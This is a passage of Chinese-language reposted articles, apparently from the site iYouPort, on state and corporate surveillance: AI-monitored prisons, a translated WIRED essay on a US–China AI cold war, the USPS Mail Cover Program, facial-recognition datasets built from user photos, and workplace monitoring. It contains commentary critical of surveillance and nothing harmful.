去年，两名囚犯逃离了辽宁省的一所监狱。根据“北京青年报”的报道，他们从警卫的储物柜里偷走了制服和出入卡，然后就走了出去。在涉及1200多名警察的追捕后被抓获。

中国并不是唯一一个拥有人工智能监狱的国家。在英国，利物浦附近的 **Altcourse** 监狱在**2016**年就安装了人工智能，希望它可以阻止违禁品走私到监狱。

新加坡政府进行了一系列试验，看看技术能否帮助警卫更有效地运作，甚至还讨论了建立无卫监狱的可能性。在这里看到视频：

正在樟宜监狱其中一间牢房试行的技术据称能减轻狱警这方面的工作量。这项原型影片分析技术名为人类行为检测系统（Human Behaviour Detection System），又称「头像」（Avatar），系统可以侦测到目标具有侵略性的行为。演算法会捕捉囚犯之间高强度、不规则的动作，以及各种互动点。分析系统如监测到具有侵略性的动作，便会向狱警传送警报。

新加坡近年来正极力发展所谓的智能城市，不断推行「无人经济」。例如在2016年8月，政府推出全国首间「无人咖啡店」，顾客只需使用售卖机便可购买到轻食、甜品、饮品甚至熟食。当地部分超级市场亦逐一引入自助收银系统；很多餐厅已配备平板电脑让食客自行点餐；无人驾驶的士更有望在今年在新加坡全面推广。

在这里看到更多介绍，对全球所谓的智能/监视城市的综合报告《“智能城市”究竟是个什么鬼？！》

该消息真正主题并不是关于监狱，而是，您应该从中了解到中国已经拥有来这样的技术、以及最重要的是，这种技术还会被如何使用。

No escape? Chinese VIP jail puts AI monitors in every cell ‘to make prison breaks impossible’. Designers say AI network will be able to detect unusual patterns of behaviour and send an alert to the guards

原文

人工智能新冷战- AI和5G如何变成一场噩梦 - iYouPort

你我的灾难现实关于高堡奇人

WIRED对中美新冷战提出了一些不同的想法。我们对这篇文章的思路完全可以理解，虽然似乎有可能违反中国读者的直觉-- 但这正是高堡奇人的两条路中的一条。可是它不通。为什么？...

「图」

「图」

2016年的春天，一个名为 AlphaGo 的人工智能系统在首尔四季酒店的一场比赛中击败了世界冠军围棋选手。这个重大新闻在美国几乎没什么反响。大多数美国人都不熟悉围棋，这是一种古老的亚洲游戏；对令其获得胜利的技术更加陌生：一种称为机器学习的人工智能，它使用大型数据集来训练计算机识别模式并做出自己的战略选择。

尽管如此，这个故事的要点还是比较熟悉的—— 计算机已经掌握了跳棋和国际象棋；现在他们已经学会了统治一个更复杂的游戏。极客们很关心这件事，虽然大多数人都没有关心。在白宫，奥巴马的科技政策顾问之一 Terah Lyons 记得她的团队在艾森豪威尔行政大楼的四楼欢呼的场景。“我们认为这是技术的胜利，“她说。“第二天，白宫的其余部分都忘了这件事。”

相比之下，在中国，有2.8亿人观看了 AlphaGo 的胜利。在中国，这个消息真正重要的部分是加利福尼亚公司 Alphabet 所拥有的机器，谷歌的母公司，已经征服了2500多年前在亚洲发明的游戏。美国人自己甚至都不玩围棋。然而美国人却如何战胜它的？

在北京，机器的胜利像一个警告一样打破了平静。在接下来的几个月里，奥巴马政府发布了一系列有关人工智能的利益和风险的报告，这种印象得到了加强。这些文件为政府行动提出了一系列建议，既可以

避免自动化造成的潜在失业，也可以投资于机器学习的发展。

中国科技官僚机构内部的一群高级政策人员也已经开始制定他们自己的人工智能计划，他们相信他们看到了一个有针对性的新兴美国战略的迹象—— 他们需要快速行动。

2017年5月，AlphaGo 再次获胜，这次输掉的人是中国围棋大师柯洁，排名世界第一的九段选手。两个月后，中国公布了其下一代人工智能发展计划，这份文件阐述了该国在2030年将“成为人工智能全球领导者”的战略。

有了这个来自北京的明确信号，就好像一个巨大的工业国家机器轴心开始旋转。其他中国政府部门很快就根据北京规划者勾勒出的战略发布了自己的计划。专家咨询小组和行业联盟开始出现，中国各地的地方政府开始资助AI企业。

毫无疑问中国的科技巨头也入伍了。大型在线零售商阿里巴巴（Alibaba）为一个新的经济特区开发了“City Brain”，计划在北京西南部约60英里处进行。

在杭州市，该公司已经从数千台街道摄像机中获取数据，并利用它来控制人工智能交通信号灯、“优化”交通流量，就像 AlphaGo 优化了围棋棋盘上的行动一样；现在，阿里巴巴将帮助人工智能从头开始设计成一个新的大都市的整个基础设施。

2017年10月18日，中国国家主席习近平站在2,300名党员面前，两侧是巨大的红色窗帘和巨大的镰刀和斧头。习近平在近三个半小时的讲话内制定了党的未来计划，他将人工智能、大数据和互联网命名为核心技术，有助于在未来几十年将中国转变为“先进的工业经济”国家。这是这些技术首次明确出现在共产党代表大会上的演讲中。

在几个月的决定性跨度中，中国政府已经给其公民描画了对未来的新视野，并明确表示它将会快速发展。

与此同时，随着北京开始加快速度，美国政府正在放慢步伐。在特朗普总统就职后，奥巴马时代关于人工智能的报道被降级为一个存档的网站。2017年3月，美国财政部长史蒂芬·姆努钦（Steven Mnuchin）表示，人类因人工智能而失去工作的想法“甚至不在我们的雷达屏幕上”。他补充说，这可能是一个威胁，“但是在50到100年之内。”而同年，中国承诺到2030年要建立一个价值1500亿美元的人工智能产业。

只有主要由五角大楼推动的缓慢工程，特朗普政府才开始谈论和资助国家人工智能倡议。今年五月，国防部长詹姆斯·马蒂斯（James Mattis）在大西洋月刊读到了一篇由亨利·基辛格（Henry Kissinger）撰写的文章，他警告人工智能正在迅速发展，很快就会破坏人类的智慧和创造力。他警告说，结果可能是启蒙运动的终结；他呼吁政府研究这个问题。

许多人工智能专家贬低了基辛格的文章，该文章基于该领域的狭隘成就进行了过于宽泛和黑暗的推断。然而，Mattis 把这篇文章写入了特朗普的总统备忘录。那个月，特朗普的技术高级顾问迈克尔·克拉西奥斯（Michael Kratsios）组织了关于人工智能主题的峰会。

今年夏天，Kratsios 在接受WIRED采访时表示，白宫完全致力于人工智能研究，并希望弄清楚“政府可以做些什么，以及如何做得更多”。今年6月，伊万卡·特朗普在推特上发布了与基辛格文章的链接，称赞其提醒了“正在进行的技术革命，其后果我们未能完全考虑”。

但如果特朗普的白宫对于掌握人工智能的重要性和潜力的理解相对较慢，那么竞争局面相比下就显得很快了。在仲夏，关于人工智能的“新冷战军备竞赛”的谈论在美国媒体中普遍存在。

在数字革命的新阶段即将来临之际，世界上两个最强大的国家正迅速退回彼此竞争孤立的阵地，就像围棋玩家一样。而利害攸关的不仅仅是美国的技术优势正在下降。在对现代自由民主状态极为焦虑的时刻，中国的人工智能似乎是威权统治的强大推动者。数字革命的弧线是否朝着暴政倾斜？有没有办法阻止它？

在冷战结束之后，西方的传统智慧开始受到两个信条的指导：自由民主注定要在全球传播，数字技术将成为其推动力。

在互联网时代，支持苏联时代的独裁统治的传统审查、媒体整合和政治宣传将无法运作。万维网将为人们提供免费，无中介的全球信息的访问。理论上它将有可能使公民能够组织起来，让政府承担责任，并规避国家的掠夺。

没有人比技术公司本身对技术的自由化影响更有信心了：用一位高管的话说，推特是“言论自由党的党羽”; Facebook 说它希望让世界更加开放和连接; 由前苏联难民共同创办的谷歌希望组织世界各地的信息，并让所有人都可以访问。

随着社交媒体时代的到来，最初，技术乐观主义者的双重信条看起来

无懈可击。 2009年，在伊朗革命期间，局外人惊叹于 Twitter 上的抗议组织者如何规避了该国的媒体封锁。一年后，阿拉伯之春推翻了突尼斯和埃及的政权，并引发了整个中东地区的抗议活动，随着社交媒体热点的传播而得到了蔓延。“如果你想解放一个社会，你所需要的只是互联网，”埃及谷歌高管 Wael Ghonim 说，他建立了主要的 Facebook 小组，帮助动员了开罗的持不同政见者。

然而，没过多久，阿拉伯之春就变成了冬天—— 这种方式在几年内会成为西方国家所熟悉的常态。在胡斯尼·穆巴拉克总统离职后的几周内，**Ghonim** 看到活动人士开始相互打开。社交媒体正在放大每个人最糟糕的直觉。

“你可以很容易地看到理性的声音变得越来越无关紧要，极端的声音变得越来越多，”他回忆道。庸俗的言论、或攻击其他团体、或愤怒回应的积极分子获得了更多的点赞和分享。这给了其他人更大的带动力，让温和的人也不得不去模仿极端偏激。显然，如果 Facebook 上没有人会阅读你发布的东西，那发布和解的内容有什么意义呢？相反，发布数百万人能看到的充满了讽刺的东西，你才会成为吸引力的源头。 Ghonim 开始变得沮丧。他说，当初把抗议者聚集在一起的工具现在正在撕裂他们。

最终，埃及选出了一个由穆斯林兄弟会（Muslim Brotherhood）经营的政府，这是一个传统的政治机器，在最初的解放广场（Tahrir Square）抗议中只起了很小的作用。然后在2013年，军方发动了一场成功的政变。

此后不久，Ghonim 搬到加利福尼亚州，在那里他试图建立一个有利于理性而不是愤怒的社交媒体平台。但是，想要奉劝用户远离 **Twitter** 和 **Facebook** 实在太难了，结果该项目并没有持续多久。与此同时，埃及的军政府最近通过了一项法律，允许它从社交媒体上彻底抹去批评者。

当然，情况恶化不仅在埃及和中东。在极短的时间内，围绕自由主义和技术传播的繁荣已经变成了这两者的信仰危机。

总的来说，世界上自由民主国家的数量在近十年来一直在稳步下降。根据自由之家的说法，去年有71个国家的政治权利和自由度明显下降；只有35个国家看到了改进。

虽然造成民主危机的原因有很多，但社交媒体平台似乎成了罪魁祸首。从美国到英国、德国、意大利等等，最近出现的一波反政府政治

家和本土政治运动不仅揭示了对西方民主的全球规则和制度的深刻触动，而且还揭示了一种通过点击量来奖励蛊惑人心的自动化媒体宣传的格局。

政治观点变得更加两极化，人口变得更加部落化，公民民族主义正在瓦解。

这让我们处于现在的状态：我们正在忙于评估社会平台传播民主的程度，而不是为社会平台传播民主的方式而欢呼。

在中国，政府官员注意到了阿拉伯之春带来的关注。北京已经拥有世界上最先进的互联网控制系统，动态地阻止了包括谷歌在内的大量外国网络域名。现在该国正在采用更多的带刺铁丝网打造防火墙。中国开发了一种新的方式来关闭城市内的区域互联网接入，包括北京市中心的一个主要区域，该国政权担心示威游行。

在通过互联网传播的暴力抗议活动之后，政府还在新疆省内进行了全新的数字封锁。北京甚至可能涉足创建一个全国性的互联网“杀戮开关”。

这种的互联网版本根本不像万维网的原始梦想，但它仍然蓬勃发展。到目前为止，中国大约有8亿人在互联网上冲浪，交换聊天消息和在线购物，几乎是美欧人口综合。对于许多中国人来说，中产阶级的繁荣使得在线审查变得更加容易：要自由还是要钱，只能选一个。

中国的专制主义在习近平的领导下翻了一番，当然并没有阻碍中国的科技产业。在过去的十年中，中国领先的科技公司已经主导了本土市场并在全球范围内展开竞争。他们通过在东南亚的收购扩大了规模。百度和腾讯已在美国设立研发中心，华为在欧洲销售其先进的网络设备。旧丝绸之路正在与中国的光缆和网络设备串联成新的**BRI**。

中国比任何其他国家都更多地表明，通过一些调整，专制制度可以与互联网时代完全协调一致。但这些调整已经导致互联网本身开始分裂，就像两个大陆裂开一样。

今天，中国不只是通过封锁审查来防范异议；更有政府正在积极运用技术作为控制工具。在中国各城市，包括新疆，当局正在尝试使用面部识别软件和其他人工智能技术来保障政权稳固。5月，浙江嘉兴体育中心体育场的面部识别摄像头导致一名正在参加音乐会的逃犯被捕。自2015年以来，他因涉嫌盗窃价值超过17,000美元的土豆而被通缉。中国的警察云系统旨在监控七类人，包括那些“破坏稳定”的人。

该国还希望建立一个系统，为每个公民和每个公司提供所谓的社会信用评分：想象一下您的FICO 评分经过调整，以反映您的购物习惯、您的驾驶记录、以及政治立场。

推动这一变革的根本力量—— 从防御到进攻的这一枢纽—— 是权力在技术流中转变的方式。一开始，通信革命旨在使计算机能够让大众负担得起。它将设备连接在一个巨大的全球网络中，并将它们缩小到您手掌的大小。这是一场革命，个人赋权。

而今天的数字革命阶段是不同的。你口袋里的超级计算机也是一个随身监视器，它会跟踪你的每一个“点赞”，记录你与之交谈的每个人，你购买的一切，你读过的一切，以及你去过的每一个地方。您的冰箱，恒温器，智能手表和汽车也越来越多地变成了监视器，它们随时随地记录你的一举一动，并将数据发回总部。在未来，监视摄像头将跟踪我们的眼睛扩张的方式，墙上的传感器将跟踪我们的体温。

在当今的数字世界中，无论是在中国的还是西方的，权力更多是来自于控制数据、理解数据，并用它来影响人们的行为方式。随着下一代移动网络的上线，这种能力将会飞速增长。还记得能够在第二代 iPhone 上浏览网页的感觉吗？

那只是3G，这种移动标准在2000年代中期开始普及。现代4G网络的速度要快几倍。而 5G还会快得多，完全可以武器化城市。当能够更快地完成任务时，我们就会做得更多，这意味着数据会加速堆积起来。

对于大多数人来说，很难理解，更不用说控制所收集的有关他们的所有信息了。随着我们进入人工智能时代，数据聚合器的杠杆将会加倍增强。

普京在网络战和虚假信息方面是技术先驱。他对 **AI** 接下来会发生什么有一个明确的看法：“成为这个领域领导者的人将成为整个世界的统治者。”

在某种程度上，普京的路线有点过分。人工智能不是一个国家可以征服的山丘，也不是一个国家将首先开发的氢弹。人工智能越来越像计算机的工作方式; 它是一个广义的术语，描述了从示例中学习或遵循规则来制定独立决策的系统。不过，它很容易成为一代人中计算机科学最重要的进步。谷歌首席执行官桑达皮采（Sundar Pichai）将其必做电力或火的发现。

一个战略性和智能地在整个劳动力中实施 AI 技术的国家可能会增长得更快，即使它需要处理人工智能可能造成的破坏。随着无人驾驶汽车和智能基础设施减少了拥堵，其城市将更有效率地运行。同时，其最大的企业将拥有最全面的消费者行为地图。当人工智能彻底改变疾病的诊断和治疗时，其人口将活得更长久。随着自动武器取代战场上的士兵和天空中的飞行员，以及随着数字战争的不断激化，其军队将被投射更多的力量。

这些好处可能会引起人们的兴趣。到目前为止，至少，人工智能只是寡头公司之间和国家政权之间的集权力量—— 您收集的数据越多，您构建的系统就越好；更好的系统允许您收集更多的数据。

中国在建立强大的人工智能基础设施方面比美国有两个基本优势，而且这也算一般意义上的威权国家优于民主国家的优势。

首先是中国科技巨头所获取的数据范围。想想 Facebook 从其用户收集的数据量以及该数据如何为公司的算法提供支持；现在考虑腾讯的流行应用程序微信，基本上就像 Facebook，Twitter 和你的网上银行账户完全结合起来一样。

中国的手机用户数量大约是美国的三倍，这些手机用户通过移动支付的支出几乎是美国的50倍。数据隐私保护的意识在中国正在兴起，但它们仍然比美国弱，并且比欧洲弱得更多，使中国的和任何进入中国的数据聚合器都可以更自由地处理他们收集的内容。政府可以出于所谓的“公共或国家安全”的原因随意访问个人数据，而不会受到民主国家所面临的法律限制。

当然，数据并非一切：任何技术系统都依赖于一整套工具，从软件到处理器，再到策划噪声输入和分析结果的工作人员。人工智能的潜在子领域，如强化学习，使用大量的计算能力从头开始生成自己的数据。

当我们进入人工智能时代时，中国还有第二大优势，那就是其最大公司与国家之间的关系。在中国，处于人工智能创新前沿的私营企业感到有必要牢记习近平的优先事项。去年11月，中国将百度，阿里巴巴、腾讯和中国语音识别软件公司 iFlytek 作为其“AI 国家队”的首批成员。信息很清楚：前进，投资，政府将确保您的突破不仅在中国市场，而且在外国市场。

在最初的冷战期间，美国依靠像洛克希德、诺斯罗普和雷神这样的公司来开发尖端的战略技术。从技术上讲，这些公司是私人所有的。而

在实践中，他们的重要防御任务使他们成为准公共实体（事实上，早在“因太大而不能倒”这个短语被用于描述银行之前，它就已经被用于描述洛克希德了）

快进到今天，处于AI 最前沿的 Google，Facebook，亚马逊，苹果和微软，也没闲着。今年春天，谷歌的员工要求公司退出五角大楼合作项目 Maven。这个想法是在国防部的任务中使用 AI 进行图像识别。最终，谷歌的管理层陷入了困境。国防部官员们非常失望，特别是考虑到谷歌与中国科技公司有多种合作关系。

冷战在1945年并非不可避免。美国和苏联在第二次世界大战期间一直是盟友，但随后五年期间的一系列选择和情况将冲突置于其自我延续的轨道上。

同样，正如我们现在可以看到的那样，事后看来，数字革命不利于民主这绝不是不可避免的。人工智能今天也不可避免地会支持全球专制主义对自由主义的永久劣势。如果这种情况成真，那将是因为一系列选择和情况促成了它。

在最初的冷战中，两个意识形态的敌人创造了竞争对手的地缘政治集团，这些集团实际上是不可互操作的。美国被排除在苏联集团之外，反之亦然。同样的事可能很容易再次发生，造成灾难性后果。一场新的冷战逐渐使中国和美国的科技部门相互隔离，这将使美国匮乏于其现在的创新所依赖的大部分燃料：美国公司在很大程度上依赖中国市场的利润以及工程和软件人才。

与此同时，它实际上可能造成鹰派现在所警告的各种危险：它会增加一方可能在AI或量子计算方面取得的决定性战略突破、而使另一方感到惊讶的风险。

对抗不仅仅是贸易上的。特朗普政府已经制定了美国的官方政策，以防止来自中国和其他外国经济掠夺者对美国领先技术和人才的垂涎——白宫写道。

今年1月，Axios 发布了一份泄漏的白宫演讲，建议美国与其盟国合作建立一个排除中国的5G网络，以防止北京攫取“信息领域的制高点”。该演讲将21世纪的数据优势斗争比作二战时期构建的原子弹。

对于美国鹰派来说，中国可能主宰5G和AI的前景是一场噩梦。与此同时，华盛顿对中国科技野心的不断升级使得习近平更加坚定地要将自己的国家从西方技术中脱离出来。

这是一个与30年来引领技术行业的理念截然不同的理念，这种理念深深植根于硬件和软件供应链。在特朗普就职典礼前不久，阿里巴巴董事长马云承诺将在美国创造100万个工作岗位。到2018年9月，他被迫承认这项要约已经不在考虑范围内。

人工智能的全球工作长期以来发生在三个领域：研究部门，企业和军队。第一个领域始终以开放与合作为标志；在较小程度上，第二个领域也是如此。学者们可以自由地分享他们的工作。微软培训了许多中国最优秀的人工智能研究人员，并帮助培养了许多有前途的人工智能创业公司，阿里巴巴、百度和腾讯在硅谷和西雅图的研究中心聘请了美国工程师。

但是，国家安全问题有可能超越商业考虑。目前，政治势头似乎正在推动两国的科技产业彻底分开，甚至可以扼杀研究人员与企业之间的合作。分裂可以很好地定义民主与威权主义之间的斗争。

想象一下，2022年：美国的对抗性经济政策仍在继续，中国拒绝屈服。华为和中兴通讯已被禁止进入美国和西方主要盟国的网络。通过投资和盗窃，北京减少了对美国半导体的依赖。竞争对手的科技超级大国未能制定共同标准。美国和中国的学者越来越多地将他们的尖端人工智能研究存放在政府保险柜中，而不是在国际会议上分享。其他国家—如法国和俄罗斯—试图建立以人工智能为中心的本土技术产业，但它们远远落后。

世界各国都可以致力于美国的技术：购买苹果手机，使用谷歌搜索，驾驶特斯拉，以及管理由西雅图一家初创公司制造的一系列个人机器人。或者他们可以向中国承诺：使用阿里巴巴和腾讯建立的等价物，通过华为和中兴建设的**5G**网络连接，以及驾驶百度建造的自动驾驶汽车。

这是一个充满挑战的选择。如果你是一个贫穷的国家，缺乏建立自己的数据网络的能力，你会对那些以低成本帮助铺设基础设施的人感到有必要表达的忠诚。对于定义冷战的武器和安全条约来说，这一切似乎都令人不安。

我们可能会看到第一个证据。 2018年5月，津巴布韦最终摆脱暴君罗伯特穆加贝后的约六个月，新政府宣布与一家名为 CloudWalk 的中国公司合作建立人工智能和面部识别系统。津巴布韦扩大了其监控状态。

中国获得了资金、影响力和数据。今年7月，来自中国和巴基斯坦的

近700名贵宾齐聚伊斯兰堡庆祝中国光纤电缆的建成，这条500英里长的数据线通过喀喇昆仑山脉连接两国，由华为建造，资金来源于来自中国进出口银行的贷款。

巴基斯坦黎明报获得的文件显示，未来的高速光纤计划将帮助连接巴基斯坦各城市的监控摄像头和车辆监控系统，这是2016年在中国的华为和其他中国公司的帮助下启动的所谓“安全城市”计划的一部分。中国已经有效地建立了自己的马歇尔计划，在某些情况下，可能建立的是监视国家，而不是民主国家。

不难看出世界上许多国家已经将未来与中国联系起来。今天，随着西方工资增长停滞，核心机构信任度下降，同时更多的中国人生活在城市，从事中产阶级工作，开车、度假比以往任何时候都多。中国对科技驱动，侵犯隐私的社会信用体系的计划可能会让西方人听到反乌托邦的质疑声，但并没有引起太多的抗议。

在公关咨询公司 Edelman 最近的一项调查中，84%的中国受访者表示他们信任政府。在美国，只有三分之一的人有这种感觉。

没人能确定接下来会发生什么。在美国，在围绕2016年大选和用户隐私的争议之后，越来越多的共和党人和民主党人想要管制美国的科技巨头并控制他们。与此同时，中国加强了成为人工智能超级大国并出口其技术专制的决心—— 这意味着美国在确保其技术公司保持世界领先地位方面具有重要的国家利益。就目前而言，关于如何解决这一困境的问题没有什么可以接受的严肃辩论。

至于中国，目前尚不清楚有多少数字入侵者会以效率和社会凝聚力的名义被容忍—— 更不用说其他受北京模式诱惑的国家了。要求人们为了所谓的稳定而交出自由的政权往往会引发不同意见。但中国没有。

中国的增长正在放缓。在过去的一个世纪里，民主国家已经证明了比独裁政权更具弹性和成功，即使民主国家，特别是在算法时代，已经做出了一些愚蠢的决定。

至少可以想象，特朗普的激进政策可能违反直觉，导致与北京的和解。如果特朗普威胁要采取中国真正承受不起的损失，那可能会迫使北京撤回其全球技术雄心并向美国公司开放其国内市场。但还有另一种影响中国的方式，一种更有可能成功的方式：美国可以试图将北京纳入“技术拥抱”。与中国合作制定人工智能发展规则和规范。建立国际标准，确保管理人们生活和生计的算法是透明的和负责任的。正如

Tim Hwang 所建议的那样，两国都可以致力于为研究人员开发更多共享的开放数据库。

但至少就目前而言，基本不可能，相互冲突的目标、相互猜疑、以及人们越来越相信人工智能和其他先进技术是赢家通吃的游戏，正在推动两国的科技行业进一步分化。永久性的分裂将付出沉重的代价，只会让技术专制主义有更大的发展空间。

注：我们对这篇文章的思路完全可以理解，虽然似乎有可能违反中国读者的直觉—— 但这正是高堡奇人的两条路中的一条，即 指望其中一个相对优秀的国家能够通过合作的开放将另一个国家带动为优秀。显然这是非常理想主义的，但它的确有可能，做一个非常不恰当的比喻似乎可以说是期待作为华人民主典范的台湾能带动中国实现民主。之所以不恰当是因为我们不信任让狼不吃肉的变革。更多解释详见《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》我想作者可以说，这毕竟不是真正的高堡奇人，毕竟这个地球没有“另一个现实”，没错，但基于地缘政治的思考方式和基于民主的思考方式本身就是两个完全不同的现实，我们的立场依旧是：只有当技术是民主的时，才能解决这个问题，而不是被任何一个庞大的政权所拥有，并期待它善良。

THE AI COLD WAR THAT THREATENS US ALL. A permanent cleavage will come at a steep cost and will only give techno-authoritarianism more room to grow.

原文

任何事都不会阻止邮局对你进行间谍活动 - iYouPort

你我的灾难现实

你寄出的信件可能无法被送到目的地，因为邮政系统一直在监视你，你甚至根本无法察觉这种监视的存在，怎么回事？

你还记得去年最著名的邮包炸弹事件吗？炸弹爆炸后不到一个星期，一名嫌犯被捕了。几乎立刻，在特朗普的集会上的视频开始传播，那些人戴着“Make America Great Again”的帽子高呼口号。那名嫌疑人很快就被审判、定罪和监禁。

不，故事并没有结束。对炸弹事件的调查应该将注意力集中在一个几乎不为人知的联邦监视计划上—— 该计划对每个公民的隐私和宪法权利构成直接的威胁。它被称为**“Mail Cover Program”**，由美国邮政局（**USPS**）运营。是的，甚至连邮局都在暗中监视我们。

该监视计划允许邮政员工拍摄并向联邦执法机构（FBI，DHS，特勤局等）发送邮局处理的每一封邮件的正面和背面。并且以数字方式保留信息，并在没有授权的情况下将其提供给任何想要它的政府机构。

2015年，美国邮政总局检察长发布了一份报告称，“各机构必须展示合理的依据，向刑事调查服务中心发送申请表的硬拷贝以进行处理，并将邮件封面视为限制和保密……不应将邮件封面用作常规调查工具。对邮件封面计划的控制不足可能会妨碍邮政检查服务进行有效调查的能力，导致公众对邮件隐私的担忧，并损害邮政服务的品牌形象。“

事实上这些警告不仅被完全忽略了，邮件封面监视计划在上述报告发布后还扩展了其规模。实际上，在该报告发布后的几个月内，有6,000个邮件封面收集请求。根据2019年2月版的“监狱法律新闻”（P.34–35），只有10个请求被拒绝。

我对邮件封面监视计划有一些个人经验。我因试图揭露中央情报局的非法酷刑计划而被服刑23个月。在被关押了两个月之后，我决定委托一位囚犯为我妻子的40岁生日买一张卡片。

我提前两周寄出的这张生日卡，但我的妻子从未收到过。最后，大约四个月后，卡片被送回给我，上面有一个黄色的“Return to Sender—Address Not Known”标签。但是那张贴纸下面是第二个黄色贴纸，上面写着：“不得交付。Hold For Supervisor. Cover Program.。“

我为什么要接受邮政服务的监视？我不知道。我在法庭上度过了一天，案子就结束了。但请记住，邮政局不必回答任何人关于这个问题—包括我的律师、我的法官、甚至是他们自己的监察长。他们可以不需要逮捕令就可以监视我（或我的家人），甚至是如果国会议员询问为什么会有这样的间谍监视行为他们也不需要回答。

问题不仅在于政府机构（或准政府机构）在没有任何理由或正当程序的情况下监视个人的险恶性质，尽管这些都是严重的问题。这是因为该计划的处理非常糟糕且非常随意，以至于在某些情况下，由于没有明显的执法理由而对个人进行了监视，并且监视工作是由邮政服务人员发起的，甚至没有被授权这样做。

再一次，受害人没有追索权，因为被监视的人甚至都不知道什么时候这种情况正在发生。

该计划的一个更令人不安的方面可能是，2000年至2012年期间，邮政服务平均每年发起8,000封邮件的封面请求。但在2013年，这个数字跃升至49,000。为什么？没有人知道，邮政局不必说。

但问题不在于邮件封面监视计划下有多少案件，甚至没有多少案件要求提供信息。真正的问题是，“这对宪法意味着什么？”也许第二个问题是，“为什么没有人在法庭上质疑该计划？”

一般来说，美国人不会—或者至少曾经没有反对逐渐丧失公民自由和宪法权利。现在这种情况必须被停止。即使邮局正在监视你，你也应该知道民主自由遇到了麻烦。

作者 John Kiriakou 是前中央情报局反恐官员，也是参议院外交关系委员会的前高级调查员。由于他试图揭露布什政府的酷刑计划，被判服刑23个月。

It’s called the “Mail Cover Program” and it’s run by the U.S. Postal

Service (USPS). Yes, even the Post Office is spying on us, writes John Kiriakou. When even the Post Office is spying on you, you know the republic is in trouble.

原文

你在线发布的所有照片都变成了瞄准你的黑枪 - iYouPort

你我的灾难现实

那些鼓励你晒照片应用程序很可能只是个老鼠夹子

「图」

「图」

⚠如果您的面部可以在网上找到，那么现在它可能已经是面部识别数据库的一部分了。

我们曾经详细介绍过在线上传照片的危害，详见《你曾经在社交网络上发布过自己的照片？你危险了！》

执法部门使用的则是数以百万计非犯罪者的面部数据，或者说不管你是不是遵纪守法，都会被收集以监视，只要你在线上传过自己的照片。

虽然有些面孔不在那些数据库中，但是！它们被用来训练面部识别AI算法，着眼于将该算法卖给执法部门和其他政府机构。

那些鼓励你晒照片应用程序很可能只是个老鼠夹子。

已经发现了另一家照片存储公司使用用户的照片来调试面部识别监控软件……所有这一切都没有得到那些被当成了技术工厂饲料的人的同意。

“留下回忆”：这是照片存储应用程序网站上的口号，伴随着草书的徽标和一张名为“周末与爷爷在一起”的专辑示例。

关于 Ever 品牌的所有信息都是温暖而模糊的，所谓的在线分享您的“最佳时刻”，同时释放手机上的空间……

然而这一切都是骗局。

在 Ever 的网站或应用程序中你无法找到对用户的警告 —— 他们没有提醒人们分享的照片被用于训练公司的面部识别系统，这项技术将被出售给私营公司、执法部门和军方。（NBC 新闻在四月份与公司联系后，该警告已被添加到隐私政策中。而在此前完全没有）

Ever 的首席执行官 Doug Aley 告诉 NBC 新闻，Ever AI “不会与面部识别客户分享照片或任何有关用户的识别性信息”。

但他就是不告诉你监视算法就是这些用户“帮助”创建的 —— 当然是在不知不觉中。

很多人宁愿不参与创建监控技术。

大多数人从未在为执法部门、情报机构、和为美国制作产品的公司寻找工作。但在没有得到任何通知的情况下，他们认为自己与家人和朋友的亲密照片已被用于使大规模监视更容易、更普遍，还可能“更好”。

Ever 只是最新被发现的一个案例而已。在此之前，Flickr 照片已经被 IBM 编制的面部识别技术所使用。

⚠这张可爱的家庭合影照片于*2013*年上传到照片共享网站 *Flickr*，而且不仅可爱；它具有不同位置角度的一堆不同面孔，对于训练面部识别系统来说非常有用，面部识别系统使用人工智能识别照片和视频中的人物。

*IBM*利用一百万张图片来创建一个新项目，旨在帮助研究人员提升面部识别技术中的准确性，或称为//面部多样性//。

IBM 甚至还为未经许可将人们的照片用于其数据集而“道歉”。它表示欢迎用户随时选择退出，但是，⚠并没有给用户提供任何工具来查明他们的照片是否已被使用。

除了将您的 Flickr ID 交给 IBM 之外，也没有任何方法可以快速删除找到的照片。呵。

任何互联网用户都会发现使用其他人的照片来编译数据集是多么容易。

Tinder 用户有许多动机可以将他们的数据上传到该约会应用。但是，为可训练卷积神经网络的可下载数据集提供面部生物识别数据，可能并不是这些用户在注册时能想到的事。

然而，谷歌最近收购的机器学习和数据科学竞赛平台 Kaggle 已经将用户数据上传了一个面部数据集，它说这是通过利用 Tinder 的 API 从该约会应用程序中搜集的40,000张个人资料照片创建的 —— 男女各20,000个。

该数据集名为 People of Tinder，由六个可下载的 zip 文件组成，其中四个包含大约10,000张资料照片，两个文件包含每个性别约500张图像的样本集。

Tinder 的反应是将此称为“违反其服务条款”。但是，这种决心并没有消除损害，也没有阻止其他人做同样的事。

正如 TechCrunch 所说，Tinder 的用户并不满意他们的照片被他们不知道是谁的人拿去进行研究 —— 其中一些照片从未在其他平台上传过。

这么做并非非法，但是，透明度是关键，为什么在用户不知情的情况下偷偷摸摸地做？

在 Ever 的情况下更糟糕的是，该应用程序公司本身就是开发面部识别软件的一方，这本应该让用户质疑该应用程序开发人员的意图。然而却没有，那些毫无戒心的用户只是看到了一个可以玩和晒的地方……

中国的面部识别算法多次被美国“钦佩”，与中国用户如此爱晒有多少关系？

原文

你正在为一个贴身老大哥努力工作：地狱的新常态 - iYouPort

你我的灾难现实

中文有句俗语称：“疑人勿用，用人勿疑”。而如今的状况似乎相反，你的雇主对你的怀疑不仅已经超越了工作关系，他们甚至想了解你的私生活……技术正在焕发人性最阴暗的一面。对比美国和中国

「图」

「图」

Jason Edward Harrington 在芝加哥奥黑尔国际机场的行李检查站工作了6年。作为一名大学毕业生和自由撰稿人，他最初将这份工作视为权宜之计，但他发现，他很享受来自世界各地的乘客，其中一些人对他表现出了真正的兴趣。

但是在为 TSA 工作的时候，Harrington 注意到他的老板跟踪并录制了他的一举一动，老板告诉他说，这种做法“至少部分原因是为了保护他”：如果，偶然，某个旅客的 iPad 失踪了，录像带将可以证明 Harrington 不应该受到指责。

Harrington 在思考这一问题，他说，监视人员还会查看录像带，以便搜索最轻微的违规行为 – 从嚼口香糖到未经授权去洗手间。最终，这些监视入侵导致了他的辞职。Harrington 说，“如果他们信任我们，尊重我们，你真的可以享受这份工作，但是，他们没有。”

TSA 发言人 Michael McCarthy 承认了该机构使用监控，但他将 TSA 行李安检员岗位 “相当快速”的辞职率归因于其他因素 – 特别是“低工资和高压力”。

事实上，电子监控通过不仅包括摄像机和监控软件在内的技术，在所有行业中都正在迅速发展。Randolph Lewis，德克萨斯大学奥斯汀分

